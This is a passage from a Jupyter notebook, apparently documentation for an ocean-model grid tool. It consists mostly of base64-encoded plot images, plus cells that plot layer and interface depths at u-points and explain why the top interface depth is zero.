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", "text/plain": [ "<Figure size 1300x700 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "grid.plot_vertical_coordinate(\n", " \"layer_depth_u\", s=-1\n", ") # depth of the uppermost layer at u-points" ] }, { "cell_type": "markdown", "id": "af653e62-b9cc-4b0e-b106-25a2084dc8af", "metadata": {}, "source": [ "In contrast, the depth of the uppermost interface (at `rho`-, `u`- and `v`-points) is equal to zero because the creation of the `Grid` object has no information about the sea surface height and assumes that it is zero everywhere. " ] }, { "cell_type": "code", "execution_count": 25, "id": "dbfe861a-9f58-48ba-86fd-cd76e21510ac", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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